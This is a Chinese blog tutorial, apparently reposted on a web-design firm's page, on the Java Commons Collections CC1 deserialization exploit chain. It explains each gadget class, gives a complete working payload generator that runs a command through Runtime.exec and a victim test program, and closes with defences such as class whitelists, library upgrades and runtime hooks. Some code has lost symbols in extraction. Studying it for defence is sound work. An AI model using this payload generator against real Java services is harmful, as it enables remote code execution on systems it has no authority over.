资讯动态

Java反序列化漏洞实战:CommonsCollections利用链从原理到构造

发布时间:2026/10/17 2:59:47 来源:尧图企业网站定制
刚接触Java安全这块的时候我拿到一个存在反序列化风险的接口日志里只看到一行java.io.InvalidClassException当时对着报错一头雾水。后来翻了无数资料、复现了几条经典的利用链才真正弄明白这东西的杀伤力来自哪里。这篇博文我想用最直接的方式把CommonsCollections这条利用链从底层机制到实战构造完整拆开讲一遍——不堆概念只讲代码执行路径和每一步背后的原因。1. Java反序列化为什么会沦为攻击入口从readObject的隐式调用说起理解CommonsCollections利用链之前必须先把Java原生序列化机制里那个“天然后门”看清楚。很多刚入门的同学对反序列化的认知停留在“把字节流转回对象”这一步但真正的问题出在readObject方法本身——它在恢复对象状态的同时给了攻击者一段可控的代码执行窗口。1.1 序列化协议的数据流结构Java原生的序列化协议不是简单地按字段名匹配。对象被写入字节流时会附带一个序列版本标识serialVersionUID、类描述信息、字段类型和实际值。反序列化端拿到字节流后先根据TC_OBJECT、TC_CLASSDESC等标记逐段解析遇到对象类型时通过反射创建实例再递归恢复各字段。这里有一个非常关键的细节反序列化不调用构造函数。对象是通过sun.reflect.ReflectionFactory.newConstructorForSerialization这种“绕过构造器”的方式创建的。那初始化逻辑在哪里执行答案就在readObject方法里。当目标类实现了java.io.Serializable且声明了private void readObject(ObjectInputStream in)反序列化框架会在字段恢复完成后自动调用它。攻击者盯上的正是这个自动回调点。1.2 readObject的隐式调用链与攻击面readObject方法内部不会只做简单的字段赋值。大量Java基础库和第三方组件的readObject实现里会把反序列化出来的对象当作容器遍历操作其中的元素或者调用对象的某些方法来完成“状态校验”和“缓存重建”。这些额外的调用就是利用链的起点。举个最简单的例子java.util.HashMap的readObject会读取键值对然后调用hash(key)计算哈希值而hash最终会调用key.hashCode()。如果我们精心构造一个key让它的hashCode()方法内部去触发一个危险操作那就能在反序列化过程中实现任意方法调用。不过单靠hashCode能做的事情有限CommonsCollections的高明之处在于它提供了一整套“方法到方法”的串联组件。1.3 为什么OpenJDK自身不以反序列化漏洞闻名很多人会问原生JDK里也有HashMap这样的反序列化回调点为什么攻击面反而不如第三方库那么广答案在于“利用链末端”。原生JDK里很难找到“输入可控的”Runtime.exec调用封装而Apache Commons Collections这类工具库为了提供函数式编程能力大量使用“反射调用”风格的工具类。反射意味着方法名、参数都能用字符串控制攻击者只要控制字节流里的字符串就能让目标对象调用任意类的任意方法——这就是“利用链”的底层铺路石。2. CommonsCollections的宝藏在哪里InvokerTransformer与TransformedMap的巧妙设计Apache Commons Collections是个提供集合操作增强的工具库正常情况下开发人员用它做类型转换、集合过滤、懒加载Map。但在安全研究者眼中这个库的某些类像是刻意留下的“逻辑积木”能拼出一条到达Runtime.exec的路径。核心积木主要有两块InvokerTransformer和TransformedMap。2.1 InvokerTransformer任意反射调用的封装器先看InvokerTransformer这类“Transformer”。它实现了Transformer接口和Serializable接口内部持有三个字段iMethodName方法名、iParamTypes参数类型数组、iArgs参数值数组。当调用它的transform(Object input)方法时它会用反射在input对象上执行事先配置好的方法。public Object transform(Object input) { if (input null) { return null; } Class cls input.getClass(); Method method cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); }这个类就是弹性最大的攻击组件我们把它配置成transform(Runtime对象)时调用exec方法传入参数[touch /tmp/pwned]只要transform被执行一次命令就触发了。反射不检查调用者身份即使Runtime.exec是public方法通过反射依然可以调用。这里的“任意方法调用”能力是整个利用链火力最猛的一环。2.2 TransformedMap当集合操作被注入TransformerTransformedMap是Map的一个装饰器当你往这个Map里put键值对、或者调用setValue修改已有键值对时它会先对键和值执行预先设置的Transformer链再存储结果。它的设计本意是让开发者能在集合写入时自动转换数据格式。TransformedMap.decorate(map, keyTransformer, valueTransformer)一旦我们设置valueTransformer为InvokerTransformer那么任何对Map值的修改操作都会自动触发危险反射。它可以修改现有的键值对比如对一个已经包含key - value的Map做装饰再调用map.put也不会触发Transformer但是map.entrySet()返回的Map.Entry对象调用setValue时会触发Transformer。这个特性对于构造反序列化利用链至关重要因为它允许我们把TransformedMap的“修改入口”反过来投射到另一个反序列化类的自动回调点上。2.3 ChainedTransformer多步串联的执行链单次调用transform只执行一个方法。攻击者往往需要多步操作先拿到类引用、再调用静态方法、再传参。CommonsCollections提供了ChainedTransformer它持有一组Transformer数组调用transform时按顺序执行把上一步的返回值当作下一步的输入。Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}) }; Transformer chain new ChainedTransformer(transformers);这个链条的逻辑很清晰ConstantTransformer直接返回Runtime.class对象InvokerTransformer在Runtime.class上调用静态方法getRuntime拿到Runtime实例继续用invoke在实例上调用无参方法实际调用的是getRuntime()返回Runtime单例最终调用exec(calc)。ChainedTransformer的作用就是把“反射调用的多步骤”全部固化成一个transform入口。后面要做的事情只剩一个想办法让反序列化过程中某个对象的某个自动回调方法去调用这个transform。3. 从readObject到命令执行的完整调用链CC链的每一环是怎样被串起来的有了Transformer组件下一步是找到一条能从readObject自动走到transform的桥。我曾经在本地的调试环境里一遍一遍打断点看着调用栈一层一层往上冒说实话第一次跑通时是很震撼的——因为整条路径里没有一行攻击者自己写的代码全部是JDK和CommonsCollections库原生方法的调用组合。3.1 桥接类AnnotationInvocationHandler的源码逻辑JDK里有一个不起眼的类sun.reflect.annotation.AnnotationInvocationHandler实现了InvocationHandler和Serializable。它的readObject方法里有这样一段关键逻辑读取一个Map类型的memberValues字段遍历每个Entry并根据key的类型调用一些方法。简化后的关键逻辑是这样的readObject中会对memberValues的每个Entry执行setValue操作来“规范化”注解的成员值——它会拿一个AnnotationType实例去校验值并赋默认值。正是这个setValue调用把控制权交给了我们预先装饰好的TransformedMap。3.2 AnnotationInvocationHandler.readObject被触发的条件这条链有个前提创建AnnotationInvocationHandler实例时构造函数要求传入一个注解类型和一个Map。虽然构造函数内部对注解类型做了校验但反序列化创建对象可以绕过构造器的类型限制。用ReflectionFactory或者直接构造字节流就能创造出一个“半成品”的AnnotationInvocationHandler实例其memberValues字段指向我们的恶意TransformedMap。这里我还需要澄清一点构造payload时手动创建的这个handler里memberValues必须是TransformedMap并且已经用恶意Transformer装饰好。这样当readObject被调用时setValue触发transform整条链就活了。3.3 整条调用链的执行顺序复盘为了让你对“利用链”有一个整体视角我按调用次序整理了一张表这也是我用调试器一步步梳理出来的调用顺序调用者被调用方法作用1ObjectInputStreamreadObject()读取字节流中的AnnotationInvocationHandler对象2AnnotationInvocationHandlerreadObject()遍历memberValues中的Entry并调用setValue3TransformedMap内部EntrysetValue(Object)装饰器拦截修改操作触发valueTransformer4ChainedTransformertransform(Object)依次执行数组内的多个Transformer5ConstantTransformertransform(Object)返回Runtime.class作为链的第一个输入6InvokerTransformertransform(Object)反射调用getRuntime得到Runtime实例7InvokerTransformertransform(Object)反射调用invoke触发exec8Runtimeexec(String)执行系统命令RCE达成整条链的核心思想可以浓缩成一句话在一个反序列化会自动调用的类里找到一个会修改Map值的方法而这个Map的装饰器会执行任意Transformer链Transformer链的终点是一个反射调用任意方法的InvokerTransformer。3.4 CommonsCollections版本差异带来的“风骚变体”CommonsCollections的后续版本对InvokerTransformer加上了enableInvokerTransformer等安全限制旧链失效后安全研究者又陆续发现了InstantiateTransformer、TransformingComparator、TiedMapEntry等替代组件派生出CC2到CC7等多个变体。每种变体只是在“如何从readObject走到transform”这一段的桥接组件上做了替换末端的ChainedTransformer依然是大同小异的反射链。掌握CC1的基础链路以后再去看CC6的HashSet/TiedMapEntry你会发现套路完全一致找一个反序列化会自动执行的方法让它间接去调用transform。不同点只在于这个“自动执行的方法”是在JDK原生类里还是CommonsCollections自己的类里。4. 手工构造Payload的完整实操从环境准备到本机验证理论拆完接下来是动手环节。我强烈建议你在自己的虚拟机里完成这个实验不要对真实系统做任何测试。下面这套步骤完全可以复现我用的环境是某发行版Linux OpenJDK 8因为版本对反序列化利用链的兼容性影响非常大。4.1 实验环境与依赖版本的选择推荐组合如下组件推荐版本说明JDKOpenJDK 8u包含了CC1链所需的AnnotationInvocationHandlerCommons Collections3.1包含InvokerTransformer、TransformedMap、ChainedTransformer编译工具任意IDE或纯javac手写编译即可不需要Maven需要特别注意JDK 17及以上对反射调用做了强封装很多getMethod和invoke的组合在运行时直接抛InaccessibleObjectException所以复现老利用链建议固定在JDK 8。Commons Collections 4.0以上版本则修改了类结构CC1里涉及的类被移到新包名下直接用3.1最省事。4.2 编写Payload生成器我们要做的是逆向思维先构造一个恶意AnnotationInvocationHandler对象然后把它序列化成字节流保存到文件里。反序列化时只需要把这个文件交给ObjectInputStream.readObject()。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; public class PayloadGenerator { public static void main(String[] args) throws Exception { // 1. 构造恶意Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[] { String.class, Class[].class }, new Object[] { getRuntime, new Class[0] }), new InvokerTransformer(invoke, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(exec, new Class[] { String.class }, new Object[] { touch /tmp/cc1_pwned }) }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 构造TransformedMap使得任意setValue都触发transform Map innerMap new HashMap(); innerMap.put(value, whatever); Map decorated TransformedMap.decorate(innerMap, null, chain); // 3. 构造AnnotationInvocationHandler实例 Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor constructor clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object handler constructor.newInstance(Override.class, decorated); // 4. 序列化到文件 ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(payload.bin)); oos.writeObject(handler); oos.close(); System.out.println(payload.bin has been written.); } }编译时需要把 commons-collections-3.1.jar 放到classpath里。运行后项目目录下会生成payload.bin这个文件就是恶意序列化数据。注意我这里用了touch /tmp/cc1_pwned这种无破坏性的命令验证效果时可以观察目标机是否生成对应文件。4.3 反序列化触发点的模拟为了验证payload我写了一个“模拟受害者”程序从文件读字节流并反序列化。现实中这个环节对应的是一个接收用户输入的Java接口比如某个Web应用的Session反序列化点。import java.io.*; public class Victim { public static void main(String[] args) throws Exception { ObjectInputStream ois new ObjectInputStream(new FileInputStream(payload.bin)); ois.readObject(); ois.close(); System.out.println(deserialization completed); } }运行这个程序后如果/tmp/cc1_pwned文件被创建说明RCE链路成功。我第一次跑通的时候看着那个文件凭空出现脑子里唯一冒出来的念头就是“这玩意儿放在真实接口上太可怕了”。4.4 调试时遇到的三个坑我在调试过程中踩了几个值得记录的坑这里一并列出来坑一序列化和反序列化必须使用完全相同的类路径。Payload生成端如果引用了高版本的CommonsCollections生成的文件到受害者端可能因为类的serialVersionUID不一致而直接InvalidClassException。解决办法是生成端和受害者端使用完全相同的jar包。坑二TransformedMap的键值对不能为空。如果内层Map是空的反序列化时循环遍历不到任何EntrysetValue永远不会被调用。这也是为什么我先innerMap.put(value, whatever)。坑三JDK模块化对反射的限制。在较新版本的JDK中即使类在classpath里setAccessible(true)也可能抛异常。我最后干脆在JVM参数里加--add-opens java.base/sun.reflect.annotationALL-UNNAMED解决环境干扰但更干净的方案就是直接用JDK 8。java -cp .:commons-collections-3.1.jar Victim5. 生产环境里的防御视角堵死反序列化攻击的现实方案理解了攻击原理之后防御的思路会变得非常清晰。反序列化漏洞防御不是单一技术能够解决的需要从“外部输入拦截”“依赖库治理”“运行时监控”三个层面层层设防。5.1 入口处拒绝不可信数据反序列化白名单最基本的防护原则是永远不要对不可信来源的数据执行反序列化。现实中很多业务场景做不到这种彻底隔离那就需要做白名单过滤。一种常见做法是覆写ObjectInputStream.resolveClass在类加载前校验类名Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!allowedClasses.contains(className)) { throw new InvalidClassException(Unexpected class: className); } return super.resolveClass(desc); }白名单方案的关键在于 “允许的类列表必须极简”。很多团队在实际落地时直接把常用DTO类加进去结果漏掉了工具库里的“危险装饰器”类。安全测试中我们最怕的就是这种“看似加了白名单实际漏了一大片”的半吊子方案。5.2 依赖治理删除或升级高危组件CommonsCollections利用链的问题本质是“工具库提供了危险的反射调用组件而且组件本身实现了序列化接口”。防御角度最简单有效的手段就是删除不需要的依赖。很多老项目仅仅是某个工具类用到了CommonsCollections完全可以用JDK原生集合类替代。能删就删不能删就升级到修复版本——Commons Collections 3.2.2和4.4版本增加了“不安全的反序列化类”的默认禁用机制InvokerTransformer在默认配置下已经无法用于构造利用链。需要注意的是升级版本可能会带来API不兼容问题。如果升级阻力大可以先通过全局搜索确认项目中哪些代码真正用到了Transformer、TransformedMap等类评估替代方案后逐步替换。5.3 运行时监控用入侵检测思路捕获异常流量在无法彻底清理依赖的遗留系统里可以考虑在反序列化边界上做一层“行为检测”。因为反序列化攻击的载荷一般会有很明显的特征对象内部嵌套了复杂的Transformer链、Map装饰器、异常的方法名调用参数。我在某次演练中部署过一个简单的监测代理统计每个反序列化对象的类组成在一个月中成功拦下了多次来自内网扫描器的探测流量。更轻量的做法是使用Java Agent或者字节码插桩技术在关键的危险类比如InvokerTransformer.transform入口处加一段hook一旦发现方法名以exec、invoke、getMethod开头组合出现立即触发告警并中止调用。这类方案产生一定性能开销适合部署在非核心模块或安全网关侧。5.4 纵深防御的最后一块拼图代码审计习惯我在复盘大量反序列化漏洞案例后得出一个观点单纯依赖某种防护工具很容易被绕过真正有效的防线是“代码审计习惯”。在业务代码里凡是出现ObjectInputStream、XMLDecoder、Fastjson的JSON.parseObject、Jndi相关的lookup都要默认认为存在风险先确认数据来源是不是可信的白名单数据。把反序列化风险当成“默认不安全”来对待比任何扫描器都能挡住更多实际的攻击。6. 写在最后我对Java反序列化安全的几点切身体会做这套实验最大的收获不是学会了一条CC链的payload构造方法而是真正弄明白了“序列化不是万能的框架越强大攻击面越大”这句话的分量。CommonsCollections本身是为了提升开发效率而生的工具库它内部那些功能强大的“函数式”组件在设计时并没有考虑到会被组合成任意代码执行的路径。这里有一个后来才想透的细节真正的安全大规模杀伤性攻击者很少直接使用公开的payload模板他们通常会在公开利用链基础上做二次变形例如替换命令执行的入口为内存马注入、替换综合利用链的桥接类以绕过WAF特征检测。作为防守方如果只记住某个具体类名那很快就会被新的变体绕过要建立“反序列化调用路径”的抽象思维理解哪一类“写法”是危险的才能做到以不变应万变。最后再分享一个小技巧如果你想快速检测一个jar包是否存在已知的反序列化利用链风险不要只盯着漏洞库名称直接搜jar包里有没有实现Serializable且包含invoke反射调用的工具类。找到这类类的存在比记住CVE编号更有指导意义。安全这条路没有终点一种利用链被修补后新的变体会很快出现。保持对底层机制的好奇心比囤积工具和payload更加重要——因为只有把原理吃透了你才可能判断下一条未知的利用链藏在哪里。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑